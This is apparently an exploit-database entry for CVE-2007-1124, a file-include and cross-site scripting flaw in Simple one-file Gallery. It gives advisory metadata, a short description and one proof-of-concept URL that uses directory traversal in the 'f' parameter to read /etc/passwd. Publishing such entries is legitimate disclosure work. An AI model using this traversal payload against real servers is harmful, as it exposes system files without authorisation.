Simple one-file Gallery - 'gallery.php?f' Traversal Arbitrary File Access

Author: laurent gaffie
type: webapps
platform: php
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date_added: 2007-02-23 
date_updated: 2013-11-17 
verified: 1 
codes: CVE-2007-1124;OSVDB-33760 
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source: https://www.securityfocus.com/bid/22700/info

Simple one-file gallery is prone to multiple input-validation vulnerabilities, including a local file-include issue and a cross-site scripting issue.

An attacker can exploit these issues to steal cookie-based authentication credentials and to view and execute arbitrary local files within the context of the affected webserver. Other attacks are also possible.

http://www.example.com/gallery.php?f=../../../../../../../../../../../../etc/passwd